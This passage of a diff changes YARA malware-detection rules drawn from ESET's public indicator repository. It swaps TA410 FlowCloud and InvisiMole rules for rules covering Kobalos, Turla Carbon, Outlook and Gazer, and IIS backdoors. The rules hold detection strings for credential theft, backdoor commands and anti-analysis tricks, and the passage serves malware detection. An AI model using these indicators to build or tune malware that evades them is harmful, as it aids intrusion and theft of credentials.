0E 43 0F B6 0C 2A 8D 7C 3D 00 8D} + $a2 = {74 35 00 8D 4C 0D 00 89 F8 41 F7 E3 89 F8 29 D0} + $a3 = {D1 E8 01 C2 89 F0 C1 EA 04 44 8D 0C 92 46 8D 0C} + $a4 = {8A 41 F7 E3 89 F0 44 29 CF 29 D0 D1 E8 01 C2 89} + $a5 = {C8 C1 EA 04 44 8D 04 92 46 8D 04 82 41 F7 E3 89} + $a6 = {C8 44 29 C6 29 D0 D1 E8 01 C2 C1 EA 04 8D 04 92} + $a7 = {8D 04 82 29 C1 42 0F B6 04 21 42 88 84 14 C0 01} + $a8 = {00 00 42 0F B6 04 27 43 88 04 32 42 0F B6 04 26} + $a9 = {42 88 84 14 A0 01 00 00 49 83 C2 01 49 83 FA 07} condition: - uint16( 0 ) == 0x5a4d and ( all of ( $dat* ) or all of ( $dll* ) ) + all of them } -rule ESET_Apt_Windows_TA410_Flowcloud_Malicious_Dll_Antianalysis : FILE +rule ESET_Kobalos { meta: - description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL." - author = "ESET Research" - id = "b38a1d4d-5053-5a6d-be8c-c00261936417" - date = "2021-10-12" - modified = "2022-04-27" + description = "Kobalos malware" + author = "Marc-Etienne M.Léveillé" + id = "cdffbe3d-c19d-53a8-9051-48affae00c8a" + date = "2020-11-02" + modified = "2021-02-01" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L519-L552" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/kobalos/kobalos.yar#L32-L56" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "8f14352118d32a43c17f70bd753acc48bd314965f10ab97818e8a434bbda96d9" + logic_hash = "9161d22f9fbb1700dc3121e32104240e34512cb280aaf950aec61513f89061ef" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" version = "1" strings: - $chunk_1 = { - 33 C0 - E8 ?? ?? ?? ?? - 83 C0 10 - 3D 00 00 00 80 - 7D 01 - EB FF - E0 50 - C3 + $encrypted_strings_sizes = { + 05 00 00 00 09 00 00 00 04 00 00 00 06 00 00 00 + 08 00 00 00 08 00 00 00 02 00 00 00 02 00 00 00 + 01 00 00 00 01 00 00 00 05 00 00 00 07 00 00 00 + 05 00 00 00 05 00 00 00 05 00 00 00 0A 00 00 00 } + $password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C } + $rsa_512_mod_header = { 10 11 02 00 09 02 00 } + $strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE } condition: - uint16( 0 ) == 0x5a4d and all of them -} - -rule ESET_Apt_Windows_TA410_Flowcloud_Pdb : FILE + any of them +} +rule ESET_Kobalos_Ssh_Credential_Stealer { meta: - description = "Matches PDB paths found in TA410 FlowCloud." - author = "ESET Research" - id = "8bf25768-941e-55c6-bd21-f6b614c9d75d" - date = "2021-10-12" - modified = "2022-04-27" + description = "Kobalos SSH credential stealer seen in OpenSSH client" + author = "Marc-Etienne M.Léveillé" + id = "b1fc5163-de48-57fc-8ae7-1f2be6c64d8a" + date = "2020-11-02" + modified = "2021-02-01" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L554-L567" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/kobalos/kobalos.yar#L58-L73" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "ff95ab0f8e68efe612a6e0d70cebd8bf815d6b5e3877c098ac0761382dc310d6" + logic_hash = "be238f5c2cc976a5638584a8c0fc580f2076735aadfe374e8d4162ba723bce10" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" version = "1" + strings: + $ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s" + condition: - uint16( 0 ) == 0x5a4d and ( pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\" ) + any of them } -rule ESET_Apt_Windows_TA410_Flowcloud_Shellcode_Decryption : FILE +rule ESET_Generic_Carbon : FILE { meta: - description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL" + description = "Turla Carbon malware" author = "ESET Research" - id = "8af7b2fa-be40-5ec8-8413-1c982a463a9a" - date = "2021-10-12" - modified = "2022-04-27" + id = "efdc0d16-a974-5c00-a401-391d60f3081e" + date = "2017-03-30" + modified = "2017-03-30" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L569-L615" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/carbon.yar#L33-L51" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "939ffe6a41c957aa5d6c012484b2deab49a5e71a4b7e203a41c180f872803921" + logic_hash = "6481ccafb7c7c78bc52d01881cb96f3aa6209fdd35e090bdc9d5f5105b4e38ea" score = 75 quality = 80 tags = "FILE" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" strings: - $chunk_1 = { - 33 D2 - 8B 45 ?? - BB 6B 04 00 00 - F7 F3 - 81 C2 A8 01 00 00 - 81 E2 FF 00 00 00 - 8B 7D ?? - 33 C9 - EB ?? - 30 14 39 - 00 14 39 - 41 - 3B 4D ?? - 72 ?? - } + $s1 = "ModStart" + $t1 = "STOP|OK" + $t2 = "STOP|KILL" condition: - uint16( 0 ) == 0x5a4d and all of them + ( uint16( 0 ) == 0x5a4d ) and ( 1 of ( $s* ) ) and ( 1 of ( $t* ) ) } -rule ESET_Apt_Windows_TA410_Flowcloud_Fcclient_Strings : FILE + +rule ESET_Carbon_Metadata { meta: - description = "Strings found in fcClient/rescure.dat module." + description = "Turla Carbon malware" author = "ESET Research" - id = "876bae0b-2612-559b-9ead-b633a3789663" - date = "2021-10-12" - modified = "2022-04-27" + id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2" + date = "2017-03-30" + modified = "2017-03-30" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L617-L639" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/carbon.yar#L53-L69" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "c05b7031a5aec1bcf29eca06c010c402edeb24a093a2043dbc21781dff22c7fe" + logic_hash = "81b59e9566f3b3356acf12dadb80abdcbee28e0b1a9efead66fcb95bf6fc1aa5" score = 75 quality = 80 - tags = "FILE" + tags = "" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" - - strings: - $s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0" - $s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}" - $s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide - $s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide - $s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide - $s6 = "XXXModule_func.dll" - $driver1 = "\\drivers\\hidmouse.sys" wide fullword - $driver2 = "\\drivers\\hidusb.sys" wide fullword condition: - uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or all of ( $driver* ) ) + (pe.version_info [ "InternalName" ] contains "SERVICE.EXE" or pe.version_info [ "InternalName" ] contains "MSIMGHLP.DLL" or pe.version_info [ "InternalName" ] contains "MSXIML.DLL" ) and pe.version_info [ "CompanyName" ] contains "Microsoft Corporation" } -rule ESET_Apt_Windows_TA410_Flowcloud_Fcclientdll_Strings : FILE +rule ESET_Turla_Outlook_Gen { meta: - description = "Strings found in fcClientDll/responsor.dat module." + description = "Turla Outlook malware" author = "ESET Research" - id = "80ecaf51-406f-590c-8f9c-59672683de02" - date = "2021-10-12" - modified = "2022-04-27" + id = "efef2443-c941-54c2-abfa-bbe29c53d930" + date = "2018-05-09" + modified = "2018-09-05" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L641-L669" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L42-L74" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3a93f58cf14b57a96157077ec14aa6fb181e3da80f4ba46c0379a58b67c08a0e" + logic_hash = "f709e517e9d957775601670c426cc9def1c4104cb1ff647d269800d2af4372c7" score = 75 - quality = 80 - tags = "FILE" + quality = 78 + tags = "" + version = 2 + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" strings: - $s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1" - $s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US" - $fc_msg = ".fc_net.msg" - $s4 = "\\pipe\\namedpipe_keymousespy_english" wide - $s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5" - $s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide - $s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT" - $sql1 = "create table if not exists table_filed_space" - $sql2 = "create table if not exists clipboard" - $sql3 = "create trigger if not exists file_after_delete after delete on file" - $sql4 = "create trigger if not exists file_data_after_insert after insert on file_data" - $sql5 = "create trigger if not exists file_data_after_delete after delete on file_data" - $sql6 = "create trigger if not exists file_data_after_update after update on file_data" - $sql7 = "insert into file_data(file_id, ofs, data, status)" + $s1 = "Outlook Express" ascii wide + $s2 = "Outlook watchdog" ascii wide + $s3 = "Software\\RIT\\The Bat!" ascii wide + $s4 = "Mail Event Window" ascii wide + $s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide + $s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide + $s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide + $s8 = "rctrl_renwnd32" ascii wide + $s9 = "NetUIHWND" ascii wide + $s10 = "homePostalAddress" ascii wide + $s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide + $s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide + $s13 = "IPM.Note" ascii wide + $s14 = "MAPILogonEx" ascii wide + $s15 = "pipe\\The Bat! %d CmdLine" ascii wide + $s16 = "PowerShellRunner.dll" ascii wide + $s17 = "cmd container" ascii wide + $s18 = "mapid.tlb" ascii wide nocase + $s19 = "Content-Type: F)*+" ascii wide fullword condition: - uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or #fc_msg >= 8 or 4 of ( $sql* ) ) + ESET_Not_Ms_PRIVATE and 5 of them } -rule ESET_Apt_Windows_TA410_Rootkit_Strings : FILE +rule ESET_Turla_Outlook_Filenames { meta: - description = "Strings found in TA410's Rootkit" + description = "Turla Outlook filenames" author = "ESET Research" - id = "a6a97721-571e-5414-9b00-5789d7bcd078" - date = "2021-10-12" - modified = "2022-04-27" + id = "3a08003d-50d6-5fdf-9f74-222335ebfa3e" + date = "2018-08-22" + modified = "2018-09-05" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L671-L697" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L76-L91" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "1d3ad63508c5e4bca32b9a44b738cb4a7384ccfa5704ce329260adb342ea4e60" + logic_hash = "3be86c9325de6634c032321beed131fdf1e1952afcb43258fb202d0097610501" score = 75 quality = 80 - tags = "FILE" + tags = "" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" strings: - $driver1 = "\\Driver\\kbdclass" wide - $driver2 = "\\Driver\\mouclass" wide - $device1 = "\\Device\\KeyboardClass0" wide - $device2 = "\\Device\\PointerClass0" wide - $driver3 = "\\Driver\\tcpip" wide - $device3 = "\\Device\\tcp" wide - $driver4 = "\\Driver\\nsiproxy" wide - $device4 = "\\Device\\Nsi" wide - $reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide - $reg2 = "RHH%d" wide - $reg3 = "RHP%d" wide - $s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide + $s1 = "mapid.tlb" + $s2 = "msmime.dll" + $s3 = "scawrdot.db" condition: - uint16( 0 ) == 0x5a4d and all of ( $s1 , $reg* ) and ( all of ( $driver* ) or all of ( $device* ) ) + any of them } - -rule ESET_Apt_Windows_TA410_Flowcloud_V5_Resources : FILE +rule ESET_Turla_Outlook_Log { meta: - description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2" + description = "First bytes of the encrypted Turla Outlook logs" author = "ESET Research" - id = "05a233f0-a823-5154-a47d-cede722d4710" - date = "2021-10-12" - modified = "2022-04-27" + id = "b0031c08-8418-5a02-8a2c-daa7236f46f0" + date = "2018-08-22" + modified = "2018-09-05" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L699-L720" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L93-L107" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "58f75dda53c6d4b3d88f464c452d855ac6dc88add5f4fba2641f52e7a1ae00ed" + logic_hash = "e7dc00c33a643c0940aaea2096d099192b27df3c81c518f1dc2b3d45a0a74312" score = 75 quality = 80 - tags = "FILE" + tags = "" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" + + strings: + $s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A} condition: - uint16( 0 ) == 0x5a4d and pe.number_of_resources >= 13 and for 12 resource in pe.resources : ( resource.type == 10 and resource.language == 1033 and ( resource.name_string == "1\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x001\x00" or resource.name_string == "1\x000\x001\x00" or resource.name_string == "1\x000\x002\x00" or resource.name_string == "1\x000\x003\x00" or resource.name_string == "1\x000\x004\x00" or resource.name_string == "1\x000\x005\x00" or resource.name_string == "1\x000\x006\x00" or resource.name_string == "1\x000\x007\x00" or resource.name_string == "1\x000\x008\x00" or resource.name_string == "1\x000\x009\x00" or resource.name_string == "1\x001\x000\x00" or resource.name_string == "2\x000\x000\x000\x00" or resource.name_string == "2\x000\x000\x001\x00" ) ) + $s1 at 0 } -rule ESET_Apt_Windows_TA410_Flowcloud_V4_Resources : FILE +rule ESET_Turla_Outlook_Exports { meta: - description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3" + description = "Export names of Turla Outlook Malware" author = "ESET Research" - id = "57b98823-439f-5a2c-a8cb-ac5e98953b06" - date = "2021-10-12" - modified = "2022-04-27" + id = "6df4f75e-711a-539d-94bf-9e4e2063ecd4" + date = "2018-08-22" + modified = "2018-09-05" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L722-L741" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L109-L125" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "7b475cfddb5f995f7e8e3293b8e6ae59a9e36143998bc444499b5dce467f8e9d" + logic_hash = "a961fdb43ea1e99b308f55b8f5e264b1f3fa817eaf463d512e2ad8b98a18ee99" score = 75 quality = 80 - tags = "FILE" + tags = "" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" condition: - uint16( 0 ) == 0x5a4d and pe.number_of_resources >= 6 and for 5 resource in pe.resources : ( resource.type == 10 and resource.language == 1033 and ( resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x001\x00" or resource.name_string == "1\x000\x000\x000\x002\x00" or resource.name_string == "1\x000\x000\x000\x003\x00" or resource.name_string == "1\x000\x000\x000\x004\x00" or resource.name_string == "1\x000\x000\x000\x005\x00" or resource.name_string == "1\x000\x001\x000\x000\x00" ) ) + (pe.exports ( "install" ) or pe.exports ( "Install" ) ) and pe.exports ( "TBP_Initialize" ) and pe.exports ( "TBP_Finalize" ) and pe.exports ( "TBP_GetName" ) and pe.exports ( "DllRegisterServer" ) and pe.exports ( "DllGetClassObject" ) } -rule ESET_Apt_Windows_Invisimole_Logs : FILE + +rule ESET_Gazer_Certificate_Subject { meta: - description = "Detects log files with collected created by InvisiMole's RC2CL backdoor" + description = "Turla Gazer malware" author = "ESET Research" - id = "151883ad-1f44-55b4-b12a-f0d399527189" - date = "2021-05-17" - modified = "2021-05-17" + id = "a7719333-b341-538c-a8ed-5c50b653a765" + date = "2017-08-30" + modified = "2017-08-29" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L54-L77" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L33-L46" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "d42423ccc768f1823c76d5cb2aec26434c796fc35bd4e2fbf435fcf7997d3ff0" + logic_hash = "6e870c9cdcee33769162de62ea143ff401af50b22a63d2f212c44d06f5771dec" score = 75 quality = 80 - tags = "FILE" + tags = "" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" condition: - uint32( 0 ) == 0x08F1CAA1 or uint32( 0 ) == 0x08F1CAA2 or uint32( 0 ) == 0x08F1CCC0 or uint32( 0 ) == 0x08F2AFC0 or uint32( 0 ) == 0x083AE4DF or uint32( 0 ) == 0x18F2CBB1 or uint32( 0 ) == 0x1900ABBA or uint32( 0 ) == 0x24F2CEA1 or uint32( 0 ) == 0xDA012193 or uint32( 0 ) == 0xDA018993 or uint32( 0 ) == 0xDA018995 or uint32( 0 ) == 0xDD018991 + for any i in ( 0 .. pe.number_of_signatures - 1 ) : ( pe.signatures [ i ] . subject contains "Solid Loop" or pe.signatures [ i ] . subject contains "Ultimate Computer Support" ) } -rule ESET_Apt_Windows_Invisimole_SFX_Dropper : FILE +rule ESET_Gazer_Certificate : FILE { meta: - description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)" + description = "Turla Gazer malware" author = "ESET Research" - id = "08490bcd-3139-5fac-9c6c-5a32acb7217a" - date = "2021-05-17" - modified = "2021-05-17" + id = "e90bbe53-4e7f-59c4-a505-4893150bf824" + date = "2017-08-30" + modified = "2017-08-29" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L79-L95" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L48-L65" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "6ca248d42c1e889988e5931d80df071cb20e623fb0c4a208044cabe073f71ce4" + logic_hash = "eb3afbaefd23d4fc6ded494d3378dc910a0832b160e733ab79c590128dd74cea" score = 75 quality = 80 tags = "FILE" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" strings: - $encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B} + $certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02} + $certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c} condition: - uint16( 0 ) == 0x5A4D and $encrypted_config + ( uint16( 0 ) == 0x5a4d ) and 1 of them and filesize < 2MB } -rule ESET_Apt_Windows_Invisimole_CPL_Loader : FILE +rule ESET_Gazer_Logfile_Name : FILE { meta: - description = "CPL loader" + description = "Turla Gazer malware" author = "ESET Research" - id = "feff8627-6085-5835-ac1b-d4522245f7db" - date = "2021-05-17" - modified = "2021-05-17" + id = "3e1454e9-dddf-5197-b486-b96d725fdb58" + date = "2017-08-30" + modified = "2017-08-29" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L97-L118" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L67-L85" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "cd5c19e14faa7fd3758b30193ccf2bed3692ad29d8216466523ca25d2abcfe88" + logic_hash = "b50553f4b4b07f124e5bd390e7dc8ac6b60a8ef185f3bc227894f957d6483478" score = 75 quality = 80 tags = "FILE" + contact = "github@eset.com" license = "BSD 2-Clause" - version = "1" strings: - $s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);" - $s2 = "\\Control.js" wide - $s3 = "\\Control Panel.lnk" wide - $s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64" - $s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32" - $s6 = "imageapplet.dat" wide - $s7 = "wkssvmtx" + $s1 = "CVRG72B5.tmp.cvr" + $s2 = "CVRG1A6B.tmp.cvr" + $s3 = "CVRG38D9.tmp.cvr" condition: - uint16( 0 ) == 0x5A4D and ( 3 of them ) + ( uint16( 0 ) == 0x5a4d ) and 1 of them } - -rule ESET_Apt_Windows_Invisimole_Wrapper_DLL +rule ESET_IIS_Group02 { meta: - description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names" + description = "Detects Group 2 native IIS malware family" author = "ESET Research" - id = "b9609b09-3ef5-5793-a3aa-4692cec367d9" - date = "2021-05-17" - modified = "2021-05-17" + id = "945e3748-1072-55f3-abaa-903dfc250294" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L120-L138" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L134-L155" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "156bc5bc7b0ed5c77a5a15e7799a3077d40150896476a60935cf21a9afe36856" + logic_hash = "3fa2b8fed3c580f446b55412a920a5cfed2317b06aa93d059e9f89fdbec8f683" score = 75 - quality = 80 + quality = 76 tags = "" license = "BSD 2-Clause" version = "1" + strings: + $s1 = "HttpModule.pdb" ascii wide + $s2 = "([\\w+%]+)=([^&]*)" + $s3 = "([\\w+%]+)=([^!]*)" + $s4 = "cmd.exe" + $s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide + $s6 = "AVRSAFunction" + condition: - pe.exports( "GetDataLength" ) and for any y in ( 0 .. pe.number_of_resources - 1 ) : ( pe.resources [ y ] . type == pe.RESOURCE_TYPE_RCDATA and pe.resources [ y ] . name_string == "R\x00C\x002\x00C\x00L\x00" ) and for any y in ( 0 .. pe.number_of_resources - 1 ) : ( pe.resources [ y ] . type == pe.RESOURCE_TYPE_RCDATA and pe.resources [ y ] . name_string == "R\x00C\x002\x00F\x00M\x00" ) + ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) } -rule ESET_Apt_Windows_Invisimole_DNS_Downloader : FILE +rule ESET_IIS_Group03 { meta: - description = "InvisiMole DNS downloader" + description = "Detects Group 3 native IIS malware family" author = "ESET Research" - id = "1caa6c8b-3798-556e-835e-885b7f3f4511" - date = "2021-05-17" - modified = "2021-05-17" + id = "9caf9b3e-611e-5e0e-a7ee-9e7515679022" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L140-L170" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L157-L176" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "88d6ed7ec1331153d19afc18473a4be2b214ad8af29fcf7051a2a8e40e088231" + logic_hash = "d811c2ac610780bf968e86e8fd302cffc9434902e547399d06fdeb30d1719f51" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" version = "1" strings: - $d = "DnsQuery_A" - $s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor - $s2 = "AddIns\\" ascii wide xor - $s3 = "pcornomeex." xor - $s4 = "weriahsek.rxe" xor - $s5 = "dpmupaceex." xor - $s6 = "TCPViewClass" xor - $s7 = "PROCMON_WINDOW_CLASS" xor - $s8 = "Key%C" - $s9 = "AutoEx%C" xor - $s10 = "MSO~" - $s11 = "MDE~" - $s12 = "DNS PLUGIN, Step %d" xor - $s13 = "rundll32.exe \"%s\",StartUI" + $s1 = "IIS-Backdoor.dll" + $s2 = "CryptStringToBinaryA" + $s3 = "CreateProcessA" + $s4 = "X-Cookie" condition: - (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and $d and 5 of ( $s* ) + ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) } -rule ESET_Apt_Windows_Invisimole_RC2CL_Backdoor : FILE +rule ESET_IIS_Group04_Rgdoor { meta: - description = "InvisiMole RC2CL backdoor" + description = "Detects Group 4 native IIS malware family (RGDoor)" author = "ESET Research" - id = "0228b8ee-bf03-504e-8cdf-8a1c9a79d54e" - date = "2021-05-17" - modified = "2021-05-17" + id = "64a0e664-a4d9-555b-a11b-5f7d9d0678b1" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L172-L213" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L178-L199" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "c38550023515d33eaaf0669cc8b874bcfd09653a07c7edbf72e3344d1cf31541" + logic_hash = "be615dc0cc8bf0fd52cc5a88a3759c1cb1cd18703de74d16f5cce3eabccf91c6" score = 75 - quality = 78 - tags = "FILE" + quality = 80 + tags = "" license = "BSD 2-Clause" version = "1" strings: - $s1 = "RC2CL" wide - $s2 = "hp12KsNh92Dwd" wide - $s3 = "ZLib package %s: files: %d, total size: %d" wide - $s4 = "\\Un4seen" wide - $s5 = {9E 01 3A AD} - $s6 = "~mrc_" wide - $s7 = "~src_" wide - $s8 = "~wbc_" wide - $s9 = "zdf_" wide - $s10 = "~S0PM" wide - $s11 = "~A0FM" wide - $s12 = "~70Z63\\" wide - $s13 = "~E070C" wide - $s14 = "~N031E" wide - $s15 = "%szdf_%s.data" wide - $s16 = "%spicture.crd" wide - $s17 = "%s70zf_%s.cab" wide - $s18 = "%spreview.crd" 